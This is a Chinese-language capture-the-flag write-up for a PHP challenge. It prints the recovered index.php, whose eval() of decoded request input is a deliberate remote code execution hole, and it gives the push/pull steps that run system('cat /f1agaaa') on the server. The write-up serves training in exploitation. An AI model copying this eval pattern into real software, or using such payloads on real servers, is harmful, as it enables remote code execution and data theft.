这道题超级迷啊
第一步,看index页面的源码

注意这里的robots.txt,以及上面的源码,通过源码我们知到当action=test时候会执行input的源码,但是源码会进行过一次解密,所以源码必须是加密的源码,然后我们看robots.txt
那我们直接访问/lib.php?flag=0,然后得到一大串东西,这个时候应该能想到这一大堆东西放在index.php中的input里面,然后让action=test,事实的确如此,但是我犯了一个错误,我没有给这一大堆东西进行url编码,导致加号被错误解释,让我迷半天,回正轨
当我们传入进去之后就会得到index.php的源码
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
?>
然后我们进行代码审计,可以看出当action = push的时候会有一个上传代码的步骤,而且还会加密,那么我们利用这个加密,然后再将加密后的值放在test里面解密运行,不就刚刚好嘛,说干就干
上传上去的文件名是md5($_GET['output'].'youyou')
那么我们直接就找flag(此步省略)
然后cat flag
push:system('cat /f1agaaa');
pull:a8a08c5b5f661dc8aa8b81fe9f0074e8
拿到flag
